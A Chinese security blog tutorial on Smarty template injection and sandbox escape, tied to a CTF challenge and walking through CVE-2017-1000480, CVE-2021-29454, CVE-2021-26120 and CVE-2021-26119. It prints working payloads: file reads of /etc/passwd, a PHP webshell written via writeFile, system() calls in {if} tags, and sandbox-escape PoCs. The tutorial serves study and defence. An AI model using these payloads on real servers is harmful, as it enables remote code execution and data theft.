您好!欢迎来到北极熊网

北极熊网

热门搜索: 任正非传    神雕侠侣    红楼梦   

Smarty 模板注入与沙箱逃逸

  • 今日头条
  • 来源:北极熊
  • 编辑:佚名
  • 时间:2022-04-29 20:58
  • 阅读:156

前言

Smarty 模板是基于 PHP 开发的模板,我们可以利用 Smarty 实现程序逻辑与页面显示(HTML/CSS)代码分离的功能。

模板引擎中花哨的功能导致了模板注入的出现,也就是SSTI。但是在谈及 SSTI 的时候,大家往往还是会去重点关注 python 语言下的 flask 模板,而一些其他语言、其他模板的相关资料反而非常稀缺,这里也是根据红明谷杯的一道题目发现的,我系统学习了 Smarty 的模板注入并进行了总结。

前置

文档

https://www.smarty.net/about_smarty

在模板注入中,我们所利用的都是模板中提供的功能,或者模板中某些功能的漏洞,这就要求我们需要对文档中的有效内容有较高的搜集能力与判断能力。

测试环境

写个 demo 来进行测试,具体扔到我的项目里了

demo 中具体产生漏洞的就是下面这里的代码:

$smarty->display("string:". $name);

属于是完全信任用户的输入的模板利用方式了,这里用来测试各种攻击方式。

测试方法

还是 HackTricks(https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection)中的这张老图,这里利用的实际上是各种语法来进行判断,比如单括号内可以执行表达式, 以{**} 为注释符就可以判断我们的模板为 Smarty 模板,具体的语法还是要去看手册。

注入攻击

在模板注入中我们进行攻击的方式所依赖的是模板引擎中的各种标签,标签为了实现功能,很多时候会进行命令执行等操作,有时一些正常的功能也会被恶意利用而导致一系列的问题,下面就来总结一下常用的标签。

前期工作

{$smarty.version}

返回版本信息,有助于根据版本进行后续攻击手段的选择

${smarty.template}

返回当前模板的文件名(如果使用了的话)

关于使用模板的部分大家可以去看相关的文档或者一些相关教程(https://www.w3cschool.cn/smarty/smarty-resourcescustom.html

常规攻击方式

获取类的静态方法

我们可以通过 self 标签来获取 Smarty 类的静态方法,比如我们可以获取 getStreamVariable 方法来读文件

public function getStreamVariable($variable)
{
    $_result = '';
    $fp = fopen($variable, 'r+');
    if($fp) {
    while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
    $_result .= $current_line;
}
    fclose($fp);
    return $_result;
}
    $smarty = isset($this->smarty) ? $this->smarty : $this;
    if ($smarty->error_unassigned) {
        throw new SmartyException('Undefined stream variable "'. $variable . '"');
} else{           
    return null;
        }
}

{self::getStreamVariable("file:///etc/passwd")}

不过这种利用方式只存在于旧版本中,而且在 3.1.30 的 Smarty 版本中官方已经将 getStreamVariable 静态方法删除。

其他的一些类中的方法也是一样,会受到版本的限制,比如 writeFile 方法等也是同理,在高版本下同样不能使用。

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

{literal} 标签

{literal} 可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为 Smarty 的定界符而错被解析。

在 PHP5 环境下存在一种 PHP 标签, <scriptlanguage="php"></script>,我们便可以利用这一标签进行任意的 PHP 代码执行。

通过上述描述也可以想到,我们完全可以利用这一种标签来实现 XSS 攻击,这一种攻击方式在 SSTI 中也是很常见的,因为基本上所有模板都会因为需要提供类似的功能。

{literal}alert('xss');{/literal}

{if} 标签

Smarty 的 {if} 条件判断和 PHP 的 if 非常相似,只是增加了一些特性。每个 {if} 必须有一个配对的 {/if},也可以使用 {else} 和 {elseif} ,全部的PHP条件表达式和函数都可以在 {if} 标签中使用。

例如:

{if phpinfo()}{/if}
{if readfile ('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat /flag')}{/if}
etc.

{php} 标签

Smarty3 官方手册中明确表示已经废弃 {php} 标签,不建议使用。在 Smarty3.1, {php} 仅在 SmartyBC 中可用。

通常情况下我们包含的是上面的 Smarty.class.php

例子:

{php}echo `id`;{/php}

CVE 分析

CVE-2017-1000480

测试代码

<?php
define('HOST_DIR', __DIR__ . '/../');
define('SMARTY_LIBS', HOST_DIR . '/vendor/smarty/libs/Smarty.class.php');
define('SMARTY_COMPILE_DIR', HOST_DIR . 'app/templates_c');
define('SMARTY_CACHE_DIR', HOST_DIR . 'app/cache');
require_once(SMARTY_LIBS);
class testSmarty extends Smarty_Resource_Custom
{
 protectedfunction fetch($name, &$source, &$mtime)
{
$template = "CVE-2017-1000480 smarty PHP code injection";
$source = $template;
$mtime = time();
    }
}
$smarty = new Smarty();
$smarty->registerResource('test', new testSmarty);
$smarty->display('test:'.$_GET['eval']);
?>

我们可以利用 */ /* 或者 */ // 等方式来实现代码执行

具体分析:

参考

https://www.cnblogs.com/magic-zero/p/8351974.html

https://chybeta.github.io/2018/01/23/CVE-2017-1000480-Smarty-3-1-32-php%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

跟进 display 方法

我们只传入了一个参数也就是说我们传入给 display 的参数就是这里的 $template,跟进 _execute()

这个方法写的很长,我们只关注我们要关注的部分

我们传入的显然进入了最后的 else,可以看到我们调用 createTemplate() 创建了模板,这里返回的 $template 是一个 SmartyInternalTemplate 对象

接下来会进入到一个 try 结构体中,这里我们重点关注的代码是这里的 render 方法

跟进到 SmartyInternalTemplate 类中,这里因为我们之前没有进行过模板缓存文件的生成会进入这里的 else,我们继续跟进 smartytemplatecompiled 类中的这个 render可以看到这里的 $this->process($_template);调用,

继续跟进这里的 process 方法跟进这里的 $this->compileTemplateSource($_smarty_tpl)可以看到这里的 $this->write($_template,$_template->compiler->compileTemplate($_template)) 调用,就在下面调用了 writeFile 函数,跟进,在 SmartyInternalRuntime_WriteFile 类中

这里利用了 fileputcontents 来写文件,可以看到我们的 SMARTYCOMPILEDIR可以看到我们生成了 php 文件,生成文件的内容在 smarty_internal_runtime_codeframe 类中的 create 决定,我们可以从 $this->write($_template,$_template->compiler->compileTemplate($_template)) 中的 compileTemplate 跟进到文件中有一部分注释内容,我们可以左右闭合,将我们的 php 代码插入到里面这里的 php 文件甚至不用我们手动包含,在 process 方法中有一处 loadCompiledTemplate跟进可以看到

eval("?>".file_get_contents($this->filepath)) 相当于一个远程文件包含,这里调用了 include ,我们之前写入缓存的php文件也就被包含进而执行了

而在高版本中,这里新增了一个 str_replace,将多行注释的符号用一个空格分隔开了

CVE-2021-29454

这个 CVE 在刚刚结束不久的 红明谷2022 中刚露完脸,是由于 math 标签中的 eval 导致的任意代码执行。

我们可以通过 PHP 中的一系列绕过操作实现命令执行的目的,能够达到目的的代码样式很多。

比如我们可以通过取字符的方式来进行构造,这里利用到了 再次赋值的手法来进行构造(这里是看的 Rayi 师傅的 payload,正常情况下的取值构造还是比较麻烦的,字母的限制比较大。利用未限制的数学函数能构造出来个 exec,不过 exec 没有回显,命令啥的也要继续使用几个数学函数构造,比较麻烦。

"('exp'[0].'exp'[1].'exp'[0].'cos'[0])"

或者比较容易理解的这种

这里涉及到了 PHP 对进制的识别的机制,比如 120这种格式就会被默认的识别为八进制,我们这里就是利用了数字和 都存在的情况下对八进制的解析构造了任意的字符串而 x70 就会被默认识别为十六进制根据下面对正则的分析我想到,甚至我们直接使用无数字字母 RCE 也可以绕过

具体分析

在 Smarty 中与 math 标签相关的部分位于 plugins 目录下的 function.math.php

在其中用类似白名单的方式将数学函数写进了数组,只允许这些方法通过,同时还严格过滤了 $,以及反引号

结合正则过滤了我们在 equation 中的输入

包括十六进制的格式,后面的 [a-zA-Z_x7f-xff][a-zA-Z0-9_x7f-xff]* 表示的是PHP 中的变量,根据变量的命名规则,一个有效的变量名由字母或者下划线开头,后面跟上任意数量的字母,数字,或者下划线。按照正常的正则表达式它被写成上面这个样子。

然后就会被送进 eval 了

不过显然我们是可以进行绕过的,比如上面写的几种

例题:[红明谷 2022] Smarty calculator

沙箱逃逸

基础沙箱逃逸

沙箱,或者叫沙盒,在英语中为 sandbox,在计算机安全领域中是一种安全机制,为运行中的程序提供的隔离环境。通常是作为一些来源不可信、具破坏力或无法判定程序意图的程序提供实验之用。

沙箱逃逸,就是在一个代码执行环境下,脱离种种过滤和限制,最终成功拿到shell权限的过程。

在一个 Smarty 模板中,我们可以用 enableSecurity 来开启安全模式,也就相当于开启了沙箱

<?php
include_once('../vendor/smarty/libs/Smarty.class.php');
$smarty = new Smarty();
$smarty->enableSecurity();
$smarty->display($_GET['poc']);

通过设置 Smarty_Security 实例的一系列的参数我们可以获得更加严格的沙箱,官方文档中的实例如下

<?php
require'Smarty.class.php';
$smarty = new Smarty();
$my_security_policy = new Smarty_Security
($smarty);
// disable all PHP functions
$my_security_policy->php_functions = null;
// remove PHP tags
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
// allow everthing as modifier
$my_security_policy->$modifiers = array();
// enable security
$smarty->enableSecurity($my_security_policy);
?>

或者更严格的例子:

<?php
include_once('../vendor/smarty/libs/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);
$smarty->display($_GET['poc']);

最后我们的参数被传入 display,而从上面的内容可以想到,这里我们是可以进行模板注入的,而如果我们的注入的内容能够帮助我们很好地绕过这里的安全沙箱,也就是沙箱逃逸了。

CVE-2021-26120

CVE-2021-26120 为 SmartyInternalRuntime_TplFunction 沙箱逃逸漏洞,所利用 POC 如下:

string:{function+name='rce(){};system("id");function+'}{/function}

我们可以先利用 简单的 function 标签来进行一下测试

{functionname='test'}{/function} ,可以看到生成的缓存文件如下

我们只要将前后闭合,将我们要执行的代码插入到闭合两端的中间就可以借助缓存文件执行。

CVE-2021-26119

CVE-2021-26119 为 Smarty template_object 沙箱逃逸 PHP 代码注入漏洞,所利用 POC 如下:

string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}

请求两次后触发,请求需要触发两次的原因是第一次缓存文件被写入,然后被覆盖。第二次触发缓存并包含文件以进行远程代码执行。相关代码在 process 函数处。

这里写了,如果不存在缓存文件就 creat,如果已存在则包含,不过这里的 loadCompliedTemplate 这里竟然不能包含执行。

这个 POC 并不能绕过我们上面所写的最难绕过的那一种沙箱,只能绕过不是那么严格的沙箱,我推测是因为我们所写入的 PHP 标签等内容会触发这里的安全机制。

这里的这个 Payload 所使用的正是我们一开始所说的类的静态方法,是对调用类中静态方法的一种绕过。静态方法中的参数不再使用 self 标签,而是使用了 $smarty.template_object->smarty 和 $smarty.template_object->compiled->filepath 两处调用。

具体的分析可以参照这篇文章(https://www.anquanke.com/post/id/235505#h3-4

我认为依照这种思路是可以去寻找更多的静态方法和参数来实现更多操作的。

总结

关于 PHP 语言的模板引擎我们可以对其 PHP 源码进行更加深入的审计,就和挖掘 CMS 中的漏洞一样重点关注包含可控变量的函数,再结合对模板本身的功能的跟踪与动调,我们就可以实现 SSTI 漏洞的挖掘了。

Smarty 引擎的模板注入到这里我们就基本上总结完毕了,在 Smarty 本身所提供的安全模式下我们存在可以进行沙箱逃逸的方式,在未开启安全模式的情况下我们甚至可以借助一些基本的标签实现命令执行。

这也就要求我们要尽早更新 Smarty 版本,对安全模式的功能进行更严格的设置等,以避免模板注入的危害。

参考链接

https://www.smarty.net/about_smarty

HackTricks

https://www.anquanke.com/post/id/235505#h3-4

https://srcincite.io/blog/2021/02/18/smarty-template-engine-multiple-sandbox-escape-vulnerabilities.html

https://chybeta.github.io/2018/01/23/CVE-2017-1000480-Smarty-3-1-32-php%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

https://blog.csdn.net/qq_45521281/article/details/107556915

https://xz.aliyun.com/t/11085

https://www.cobalt.io/blog/a-pentes


全部评论(0)
资讯详情页最新发布上方横幅
推荐阅读
  • 如何使用presshell在WordPress主机上执行Shell命令
  • 如何使用presshell在WordPress主机上执行Shell命令
  • 关于presshellpresshell是一款针对WordPress的Shell工具,该工具可以帮助广大研究人员上传Shell文件,并在WordPress服务器/主机上轻松执行Shell命令。注意,上传Shell的路径为“/wp-content/plugins/shell/shell.php”。工具下载广大研究人员可以使用下列命令将该项目源码克隆至本地:git clone https
  • 技术文档
  • 来源:北极熊
  • 编辑:佚名
  • 时间:2022-05-06 20:36
  • 阅读:244
  • 为什么黑客如此“钟爱”跨链桥
  • 为什么黑客如此“钟爱”跨链桥
  • 0x1背景介绍随着区块链及链上程序的增长,多链资金转换需求迫切,跨链桥业务随之增加,有业务的地方就会有安全问题,跨链桥为用户提供便利的同时,可能也为黑客提供了另一扇大门,PolyNetwork攻击事件发生后,跨链桥安全问题也随之显露出来。0x2什么是跨链桥?区块链桥,也称为跨链桥,连接两条区块链,允许用户将加密货币从一条链发送到另一条链。跨链桥通过在两个独立平台之间启用代币转移、智能合约和数据交换以及其他反馈和指令来进行资金跨链操
  • 技术文档
  • 来源:北极熊
  • 编辑:佚名
  • 时间:2022-05-06 20:34
  • 阅读:190
  • EvilSelenium:一款功能强大的Chromium浏览器渗透测试工具
  • EvilSelenium:一款功能强大的Chromium浏览器渗透测试工具
  • 关于EvilSeleniumEvilSelenium是一款基于Selenium的渗透测试工具,该工具基于武器化的Selenium实现其功能,可以帮助广大研究人员针对基于Chromium的浏览器进行安全分析和渗透测试。功能介绍1、通过autofill获取存储的凭证信息;2、获取Cookie数据;3、获取网站屏幕截图;4、导出Gmail/O365电子邮件数据;5、导出Whats*App消息;6、下载&提取文件信息;7、向GitHub
  • 技术文档
  • 来源:北极熊
  • 编辑:佚名
  • 时间:2022-05-06 20:33
  • 阅读:216
  • 针对贸易行业的情报刺探活动
  • 针对贸易行业的情报刺探活动
  • 概述奇安信威胁情报中心在日常威胁发现过程中发现一个专门针对贸易行业进行攻击的团伙,主要目的为获取情报,攻击手段较为单一,发送带有恶意lnk文件的钓鱼邮件进行传播,今年以来较为活跃,我们将其命名为APT-Q-12。此次攻击捕获的活动样本有如下特点:使用鱼叉邮件投递恶意压缩包,使用LNK文件进行cisid劫持。使用FileRun框架或者第三方平台托管样本攻击成功后使用AES加密进行信息传递。目前无法从C2获取最终的payload,故境内暂无
  • 今日头条
  • 来源:北极熊
  • 编辑:佚名
  • 时间:2022-05-02 21:42
  • 阅读:244
  • 安恒猎影实验室发现蔓灵花APT组织疑似伪装我国攻击孟加拉国
  • 安恒猎影实验室发现蔓灵花APT组织疑似伪装我国攻击孟加拉国
  • 蔓灵花组织介绍蔓灵花(Bitter)是一个被广泛认为来自印度的APT组织,该组织长期针对我国及周边南亚各国的政府、军工、电力、核等部门发动网络攻击,窃取敏感数据,具有较强的政治背景。近期,安恒安全数据部猎影实验室捕获到多个疑似蔓灵花组织的活动样本。该批样本无论在攻击手法或者武器代码等方面都与该组织此前的攻击活动极为相似,延续了其一贯的攻击特征。蔓灵花组织利用得到权限的巴基斯坦、孟加拉国政府邮箱发起网络攻击活动,我们发现其中一处回连域名使
  • 今日头条
  • 来源:北极熊
  • 编辑:佚名
  • 时间:2022-05-02 21:40
  • 阅读:162
联系我们
电话:18936411277
邮箱:1044412291@qq.com
时间:09:00 - 19:00
公众号:北格软件
底部广告